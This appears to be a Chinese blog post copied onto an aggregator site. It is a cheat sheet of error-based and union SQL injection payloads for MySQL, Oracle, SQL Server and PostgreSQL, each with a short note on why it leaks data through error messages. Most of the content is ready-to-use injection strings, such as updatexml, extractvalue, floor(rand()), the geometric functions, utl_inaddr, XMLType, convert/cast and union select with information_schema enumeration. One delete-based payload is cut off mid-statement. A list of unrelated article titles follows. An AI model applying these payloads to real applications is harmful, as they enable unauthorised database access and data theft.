当前位置: 首页 > news >正文

SQL报错注入成功特征

 页面上没有显示位但是有sql语句执行错误信息输出

 Mysql 报错注入

通用回显

syntax error

报错类型

updatexml() 

updatexml(XML_document, XPath_string, new_value);

用于改变文档中符合条件的节点的值

注入原理:当XPath_string 是普通字符串时,不符合XPATH_string的格式,从而出现格式错误,进而应发报错

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

extractvalue()

extractvalue(XML_document, XPath_string);

从目标XML中返回包含所查询值的字符串。

注入原理:如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

floor() 

条件:记录必须3条以上

floor() 返回小于该值得最大整数

原理:简单来说就是floor(rand(0)*2的作用就是产生预知的数字序列01101,然后再利用 rand() 的特殊性和group by的虚拟表,最终引起了报错。

所以注入语句可以写成:

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);geometrycollection() 

是由1个或多个任意类几何对象构成的几何对象

利用条件:5.5<mysql版本<5.6

multipoint() 

MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。

注入原理:参数值需是数字,当不为数字是,会发生报错 

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

polygon()

Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。

注入原理:参数值需是数字,当不为数字是,会发生报错

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

multipolygon() 

multipolygon()是一种由Polygon元素构成的几何对象集合。

注入原理:multipolygon()需要的是Polygon元素。当传入字符串,会发生报错。

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

linestring() 

LineString()是具有点之间线性内插特性的Curve.

注入原理:当传入字符串,会发生报错

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

multilinestring() 

multilinestring()是一种由LineStirng元素构成的MultiCurve几何对象集合。

注入原理:当传入字符串,会发生报错

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

exp() 

EXP(x)函数计算e的x次方,即ex。

注入原理:当传入字符串,会发生报错

select * from test where id=1 and exp(~(select * from(select user())a));

name_const () 

注入原理:使用name_const() 制造一个列,当mysql列名重复会导致报错

 select * from (select name_const(version(),1),name_const(version(),1))x;

bigint 

条件:MySQL 5.5以上

注入原理:~0进行加减运算的话,导致BIGINT溢出错误

and(select!x-~0.+from(select(select+group_concat(Version()))x)x)

update类报错  
delete类报错  

delete from ctf_test where user='1'  and updatexml(1,concat(0x7e,(select 

1.1.2 辅助函数

char()

mid()

substr()

group_concat()

ascii()

oracle 报错注入

 通用回显

java.sql.SQLException

 报错类型

utl_inaddr.get_host_name()  

注入原理:utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

and 1=utl_inaddr.get_host_name((select user from dual))--

ctxsys.drithsx.sn() 

注入原理:用于处理文本,当传入参数类型错误时,会返回异常。

?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

XMLType() 

注入原理:数据类型不匹配时报错

?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

dbms_xdb_version.checkin()

注入原理:数据类型不匹配时报错

id=1 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --

bms_xdb_version.makeversioned() 

注入原理:数据类型不匹配时报错

id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

dbms_xdb_version.uncheckout() 

注入原理:数据类型不匹配时报错

id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

dbms_utility.sqlid_to_sqlhash() 

注入原理:数据类型不匹配时报错

id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

大数据平台

ordsys.ord_dicom.getmappingxpath() 

注入原理:数据类型不匹配时报错

id=1 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

 辅助函数

sql Server 报错注入

通用回显

统一回显:

[Microsoft][ODBC SQL Driver][SQL Server]

注入语句

convert() 报错  

注入原理:

如果在convert函数中将查询到的数据库名转换为int类型时就会报错(例如这样的sql语句:select CONVERT(int , db_name() , 111)),并且会把查询到的数据库名也给暴露出来。

举例:

id=1' and 1=convert(int,db_name(),111) --+

cast() 报错 

cast函数是将某种数据类型转换为另一种数据类型,函数形式:

注入原理:使用cast函数将查询到的数据库名转换成int类型就会报错,并在报错的同时会把查询到的数据库名security暴露出来。

id=1' and 1=cast(host_name() as int) --+

辅助函数

for xml path('')

quotname()

db_name()

substring()

 postgresql注入

 通用回显

Waming:pg_query()

注入类型

类型比较错误 

注入原理:当int = string(注入点) 进行比较时,会发生错误

 select * from tbuser where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)

union注入

使用场景: 页面上有显位

判断当前数据表中有几列

order by 3

查询显示位在第几列(假设一共3列):

-1' union select 1,2,3

显示当前数据库(假设显示位包含第三位):

-1' union select 1,2,database()

查看当前数据库中的所有表:

select group_concat(table_name) from information_schema.tables where table_schema=database()

参考

https://docs.oracle.com/cd/B10501_01/appdev.920/a96612/preface.htm#970468

https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_name-const

http://www.xdnf.cn/news/307189.html

相关文章:

  • 人工智能100问☞第15问:人工智能的常见分类方式有哪些?
  • Unity Editor 扩展:查找缺失的 Image Sprite
  • 从入门到登峰-嵌入式Tracker定位算法全景之旅 Part 7 |TinyML 定位:深度模型在 MCU 上的部署
  • HarmonyOS开发:粒子动画使用详解
  • idea更换jdk版本操作
  • 分布式、高并发-Day03
  • 开源BI选型及DataEase搭建
  • 香港维尔利健康科技集团与亚洲医学研究院达成战略合作,联合打造智慧医疗应用技术实验室
  • ES6/ES11知识点 续五
  • 单调栈算法精解(Java实现):从原理到高频面试题
  • [250504] Moonshot AI 发布 Kimi-Audio:开源通用音频大模型,驱动多模态 AI 新浪潮
  • Android数据库全栈开发实战:Room+SQLCipher+Hilt企业级应用构建
  • 【计算机网络】TCP/IP四层模型是什么?与OSI七层模型哪些区别?
  • 提示词的 嵌入空间优化
  • ECMAScript 6(ES6):JavaScript 现代化的革命性升级
  • 使用蚁群算法求解VRPTW问题
  • 信息系统项目管理工程师备考计算类真题讲解十三
  • 光纤失效模式及其影响
  • n8n 与智能体构建:开发自动化 AI 作业的基础平台
  • 单例模式的实现方法
  • Android SDK 国内镜像及配置方法(2025最新,包好使!)
  • MySQL同步ES的6种方案!
  • 74LS138译码器的编址技术
  • 存储系列知识
  • YOLO8之学习指南
  • 行业黑化.新平面
  • 系统学习算法:动态规划(斐波那契+路径问题)
  • 第2章——springboot核心机制
  • Spring Boot Validation实战详解:从入门到自定义规则
  • DXFViewer进行中2 -> 直线 解析+渲染 ✅已完成